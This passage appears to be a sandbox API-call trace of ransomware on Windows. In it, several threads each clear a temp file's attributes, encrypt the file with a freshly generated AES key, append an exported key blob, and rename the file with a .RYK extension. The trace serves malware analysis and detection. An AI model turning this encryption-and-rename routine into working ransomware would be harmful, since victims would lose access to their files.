	[0211.720] SetFilePointerEx (in: hFile=0x608, liDistanceToMove=0xbb69, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0211.720] ReadFile (in: hFile=0x608, lpBuffer=0x926f8d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x926f840, lpOverlapped=0x0 | out: lpBuffer=0x926f8d0*, lpNumberOfBytesRead=0x926f840*=0x19, lpOverlapped=0x0) returned 1
	[0211.722] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0211.723] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x926f858 | out: phKey=0x926f858*=0x2b8ff0) returned 1
	[0211.723] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0211.723] ReadFile (in: hFile=0x608, lpBuffer=0x3090000, nNumberOfBytesToRead=0xbc8b, lpNumberOfBytesRead=0x926f864, lpOverlapped=0x0 | out: lpBuffer=0x3090000*, lpNumberOfBytesRead=0x926f864*=0xbc8b, lpOverlapped=0x0) returned 1
	[0211.724] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x926f860*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x926f860*=0xf4250) returned 1
	[0211.724] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3090000*, pdwDataLen=0x926f868*=0xbc8b, dwBufLen=0xf4250 | out: pbData=0x3090000*, pdwDataLen=0x926f868*=0xbc90) returned 1
	[0211.725] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0211.725] WriteFile (in: hFile=0x608, lpBuffer=0x3090000*, nNumberOfBytesToWrite=0xbc90, lpNumberOfBytesWritten=0x926f864, lpOverlapped=0x0 | out: lpBuffer=0x3090000*, lpNumberOfBytesWritten=0x926f864*=0xbc90, lpOverlapped=0x0) returned 1
	[0211.725] WriteFile (in: hFile=0x608, lpBuffer=0x926f890*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x926f870, lpOverlapped=0x0 | out: lpBuffer=0x926f890*, lpNumberOfBytesWritten=0x926f870*=0x6, lpOverlapped=0x0) returned 1
	[0211.726] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x926f880 | out: pbData=0x0*, pdwDataLen=0x926f880*=0x10c) returned 1
	[0211.726] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x926f8f0, pdwDataLen=0x926f880 | out: pbData=0x926f8f0*, pdwDataLen=0x926f880*=0x10c) returned 1
	[0211.726] WriteFile (in: hFile=0x608, lpBuffer=0x926f8f0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x926f870, lpOverlapped=0x0 | out: lpBuffer=0x926f8f0*, lpNumberOfBytesWritten=0x926f870*=0x10c, lpOverlapped=0x0) returned 1
	[0211.726] CloseHandle (hObject=0x608) returned 1
	[0211.730] CryptDestroyKey (hKey=0x2b8ff0) returned 1
	[0211.730] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\3BjGRofHkmE_xK.avi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\3bjgrofhkme_xk.avi"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\3BjGRofHkmE_xK.avi.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\3bjgrofhkme_xk.avi.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2042
	os_tid = 0x25bc

	[0211.738] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\3Er-.jpg", dwFileAttributes=0x80) returned 1
	[0211.739] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\3Er-.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\3er-.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x608
	[0211.739] GetFileSizeEx (in: hFile=0x608, lpFileSize=0x943f558 | out: lpFileSize=0x943f558*=68112) returned 1
	[0211.739] GetFileSizeEx (in: hFile=0x608, lpFileSize=0x943f568 | out: lpFileSize=0x943f568*=68112) returned 1
	[0211.739] SetFilePointerEx (in: hFile=0x608, liDistanceToMove=0x108ee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0211.739] ReadFile (in: hFile=0x608, lpBuffer=0x943f5b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x943f520, lpOverlapped=0x0 | out: lpBuffer=0x943f5b0*, lpNumberOfBytesRead=0x943f520*=0x19, lpOverlapped=0x0) returned 1
	[0211.742] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0211.742] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x943f538 | out: phKey=0x943f538*=0x2b8ff0) returned 1
	[0211.742] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0211.742] ReadFile (in: hFile=0x608, lpBuffer=0x3190000, nNumberOfBytesToRead=0x10a10, lpNumberOfBytesRead=0x943f544, lpOverlapped=0x0 | out: lpBuffer=0x3190000*, lpNumberOfBytesRead=0x943f544*=0x10a10, lpOverlapped=0x0) returned 1
	[0211.743] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x943f540*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x943f540*=0xf4250) returned 1
	[0211.743] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3190000*, pdwDataLen=0x943f548*=0x10a10, dwBufLen=0xf4250 | out: pbData=0x3190000*, pdwDataLen=0x943f548*=0x10a20) returned 1
	[0211.744] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0211.744] WriteFile (in: hFile=0x608, lpBuffer=0x3190000*, nNumberOfBytesToWrite=0x10a20, lpNumberOfBytesWritten=0x943f544, lpOverlapped=0x0 | out: lpBuffer=0x3190000*, lpNumberOfBytesWritten=0x943f544*=0x10a20, lpOverlapped=0x0) returned 1
	[0211.745] WriteFile (in: hFile=0x608, lpBuffer=0x943f570*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x943f550, lpOverlapped=0x0 | out: lpBuffer=0x943f570*, lpNumberOfBytesWritten=0x943f550*=0x6, lpOverlapped=0x0) returned 1
	[0211.745] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x943f560 | out: pbData=0x0*, pdwDataLen=0x943f560*=0x10c) returned 1
	[0211.745] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x943f5d0, pdwDataLen=0x943f560 | out: pbData=0x943f5d0*, pdwDataLen=0x943f560*=0x10c) returned 1
	[0211.745] WriteFile (in: hFile=0x608, lpBuffer=0x943f5d0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x943f550, lpOverlapped=0x0 | out: lpBuffer=0x943f5d0*, lpNumberOfBytesWritten=0x943f550*=0x10c, lpOverlapped=0x0) returned 1
	[0211.746] CloseHandle (hObject=0x608) returned 1
	[0211.747] CryptDestroyKey (hKey=0x2b8ff0) returned 1
	[0211.747] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\3Er-.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\3er-.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\3Er-.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\3er-.jpg.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2043
	os_tid = 0x25c0

	[0211.755] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4A3TcmNtg9qqVR5x.mp3", dwFileAttributes=0x80) returned 1
	[0211.756] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4A3TcmNtg9qqVR5x.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\4a3tcmntg9qqvr5x.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x608
	[0211.756] GetFileSizeEx (in: hFile=0x608, lpFileSize=0x95afaf8 | out: lpFileSize=0x95afaf8*=7011) returned 1
	[0211.756] GetFileSizeEx (in: hFile=0x608, lpFileSize=0x95afb08 | out: lpFileSize=0x95afb08*=7011) returned 1
	[0211.756] SetFilePointerEx (in: hFile=0x608, liDistanceToMove=0x1a41, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0211.756] ReadFile (in: hFile=0x608, lpBuffer=0x95afb50, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x95afac0, lpOverlapped=0x0 | out: lpBuffer=0x95afb50*, lpNumberOfBytesRead=0x95afac0*=0x19, lpOverlapped=0x0) returned 1
	[0211.759] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0211.759] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x95afad8 | out: phKey=0x95afad8*=0x2b8ff0) returned 1
	[0211.759] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0211.759] ReadFile (in: hFile=0x608, lpBuffer=0x3290000, nNumberOfBytesToRead=0x1b63, lpNumberOfBytesRead=0x95afae4, lpOverlapped=0x0 | out: lpBuffer=0x3290000*, lpNumberOfBytesRead=0x95afae4*=0x1b63, lpOverlapped=0x0) returned 1
	[0211.759] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x95afae0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x95afae0*=0xf4250) returned 1
	[0211.759] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3290000*, pdwDataLen=0x95afae8*=0x1b63, dwBufLen=0xf4250 | out: pbData=0x3290000*, pdwDataLen=0x95afae8*=0x1b70) returned 1
	[0211.760] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0211.760] WriteFile (in: hFile=0x608, lpBuffer=0x3290000*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x95afae4, lpOverlapped=0x0 | out: lpBuffer=0x3290000*, lpNumberOfBytesWritten=0x95afae4*=0x1b70, lpOverlapped=0x0) returned 1
	[0211.760] WriteFile (in: hFile=0x608, lpBuffer=0x95afb10*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x95afaf0, lpOverlapped=0x0 | out: lpBuffer=0x95afb10*, lpNumberOfBytesWritten=0x95afaf0*=0x6, lpOverlapped=0x0) returned 1
	[0211.760] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x95afb00 | out: pbData=0x0*, pdwDataLen=0x95afb00*=0x10c) returned 1
	[0211.760] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x95afb70, pdwDataLen=0x95afb00 | out: pbData=0x95afb70*, pdwDataLen=0x95afb00*=0x10c) returned 1
	[0211.760] WriteFile (in: hFile=0x608, lpBuffer=0x95afb70*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x95afaf0, lpOverlapped=0x0 | out: lpBuffer=0x95afb70*, lpNumberOfBytesWritten=0x95afaf0*=0x10c, lpOverlapped=0x0) returned 1
	[0211.761] CloseHandle (hObject=0x608) returned 1
	[0211.766] CryptDestroyKey (hKey=0x2b8ff0) returned 1
	[0211.766] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4A3TcmNtg9qqVR5x.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\4a3tcmntg9qqvr5x.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4A3TcmNtg9qqVR5x.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\4a3tcmntg9qqvr5x.mp3.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2044
	os_tid = 0x25c4

	[0211.769] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log", dwFileAttributes=0x80) returned 1
	[0211.771] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\adobearm.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x608
	[0211.771] GetFileSizeEx (in: hFile=0x608, lpFileSize=0x8cdf7d8 | out: lpFileSize=0x8cdf7d8*=764) returned 1
	[0211.771] GetFileSizeEx (in: hFile=0x608, lpFileSize=0x8cdf7e8 | out: lpFileSize=0x8cdf7e8*=764) returned 1
	[0211.772] SetFilePointerEx (in: hFile=0x608, liDistanceToMove=0x1da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0211.772] ReadFile (in: hFile=0x608, lpBuffer=0x8cdf830, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8cdf7a0, lpOverlapped=0x0 | out: lpBuffer=0x8cdf830*, lpNumberOfBytesRead=0x8cdf7a0*=0x19, lpOverlapped=0x0) returned 1
	[0211.776] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0211.776] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8cdf7b8 | out: phKey=0x8cdf7b8*=0x2b8ff0) returned 1
	[0211.776] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0211.776] ReadFile (in: hFile=0x608, lpBuffer=0x3390000, nNumberOfBytesToRead=0x2fc, lpNumberOfBytesRead=0x8cdf7c4, lpOverlapped=0x0 | out: lpBuffer=0x3390000*, lpNumberOfBytesRead=0x8cdf7c4*=0x2fc, lpOverlapped=0x0) returned 1
	[0211.777] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8cdf7c0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8cdf7c0*=0xf4250) returned 1
	[0211.777] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3390000*, pdwDataLen=0x8cdf7c8*=0x2fc, dwBufLen=0xf4250 | out: pbData=0x3390000*, pdwDataLen=0x8cdf7c8*=0x300) returned 1
	[0211.777] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0211.777] WriteFile (in: hFile=0x608, lpBuffer=0x3390000*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x8cdf7c4, lpOverlapped=0x0 | out: lpBuffer=0x3390000*, lpNumberOfBytesWritten=0x8cdf7c4*=0x300, lpOverlapped=0x0) returned 1
	[0211.777] WriteFile (in: hFile=0x608, lpBuffer=0x8cdf7f0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8cdf7d0, lpOverlapped=0x0 | out: lpBuffer=0x8cdf7f0*, lpNumberOfBytesWritten=0x8cdf7d0*=0x6, lpOverlapped=0x0) returned 1
	[0211.777] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8cdf7e0 | out: pbData=0x0*, pdwDataLen=0x8cdf7e0*=0x10c) returned 1
	[0211.777] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8cdf850, pdwDataLen=0x8cdf7e0 | out: pbData=0x8cdf850*, pdwDataLen=0x8cdf7e0*=0x10c) returned 1
	[0211.778] WriteFile (in: hFile=0x608, lpBuffer=0x8cdf850*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8cdf7d0, lpOverlapped=0x0 | out: lpBuffer=0x8cdf850*, lpNumberOfBytesWritten=0x8cdf7d0*=0x10c, lpOverlapped=0x0) returned 1
	[0211.778] CloseHandle (hObject=0x608) returned 1
	[0211.781] CryptDestroyKey (hKey=0x2b8ff0) returned 1
	[0211.781] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\adobearm.log"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\adobearm.log.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2045
	os_tid = 0x25c8

	[0211.800] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\B9VEQXx.flv", dwFileAttributes=0x80) returned 1
	[0211.801] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\B9VEQXx.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\b9veqxx.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x608
	[0211.801] GetFileSizeEx (in: hFile=0x608, lpFileSize=0x974f778 | out: lpFileSize=0x974f778*=100931) returned 1
	[0211.801] GetFileSizeEx (in: hFile=0x608, lpFileSize=0x974f788 | out: lpFileSize=0x974f788*=100931) returned 1
	[0211.801] SetFilePointerEx (in: hFile=0x608, liDistanceToMove=0x18921, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0211.801] ReadFile (in: hFile=0x608, lpBuffer=0x974f7d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x974f740, lpOverlapped=0x0 | out: lpBuffer=0x974f7d0*, lpNumberOfBytesRead=0x974f740*=0x19, lpOverlapped=0x0) returned 1
	[0211.804] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0211.804] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x974f758 | out: phKey=0x974f758*=0x2b8e30) returned 1
	[0211.804] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0211.804] ReadFile (in: hFile=0x608, lpBuffer=0x3490000, nNumberOfBytesToRead=0x18a43, lpNumberOfBytesRead=0x974f764, lpOverlapped=0x0 | out: lpBuffer=0x3490000*, lpNumberOfBytesRead=0x974f764*=0x18a43, lpOverlapped=0x0) returned 1
	[0211.806] CryptEncrypt (in: hKey=0x2b8e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x974f760*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x974f760*=0xf4250) returned 1
	[0211.806] CryptEncrypt (in: hKey=0x2b8e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3490000*, pdwDataLen=0x974f768*=0x18a43, dwBufLen=0xf4250 | out: pbData=0x3490000*, pdwDataLen=0x974f768*=0x18a50) returned 1
	[0211.807] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0211.807] WriteFile (in: hFile=0x608, lpBuffer=0x3490000*, nNumberOfBytesToWrite=0x18a50, lpNumberOfBytesWritten=0x974f764, lpOverlapped=0x0 | out: lpBuffer=0x3490000*, lpNumberOfBytesWritten=0x974f764*=0x18a50, lpOverlapped=0x0) returned 1
	[0211.809] WriteFile (in: hFile=0x608, lpBuffer=0x974f790*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x974f770, lpOverlapped=0x0 | out: lpBuffer=0x974f790*, lpNumberOfBytesWritten=0x974f770*=0x6, lpOverlapped=0x0) returned 1
	[0211.809] CryptExportKey (in: hKey=0x2b8e30, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x974f780 | out: pbData=0x0*, pdwDataLen=0x974f780*=0x10c) returned 1
	[0211.809] CryptExportKey (in: hKey=0x2b8e30, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x974f7f0, pdwDataLen=0x974f780 | out: pbData=0x974f7f0*, pdwDataLen=0x974f780*=0x10c) returned 1
	[0211.809] WriteFile (in: hFile=0x608, lpBuffer=0x974f7f0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x974f770, lpOverlapped=0x0 | out: lpBuffer=0x974f7f0*, lpNumberOfBytesWritten=0x974f770*=0x10c, lpOverlapped=0x0) returned 1
	[0211.809] CloseHandle (hObject=0x608) returned 1
	[0211.813] CryptDestroyKey (hKey=0x2b8e30) returned 1
	[0211.813] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\B9VEQXx.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\b9veqxx.flv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\B9VEQXx.flv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\b9veqxx.flv.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2046
	os_tid = 0x25cc

	[0212.018] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\BDM2QhO.jpg", dwFileAttributes=0x80) returned 1
	[0212.019] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\BDM2QhO.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\bdm2qho.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x608
	[0212.025] GetFileSizeEx (in: hFile=0x608, lpFileSize=0x986f598 | out: lpFileSize=0x986f598*=56974) returned 1
	[0212.025] GetFileSizeEx (in: hFile=0x608, lpFileSize=0x986f5a8 | out: lpFileSize=0x986f5a8*=56974) returned 1
	[0212.025] SetFilePointerEx (in: hFile=0x608, liDistanceToMove=0xdd6c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
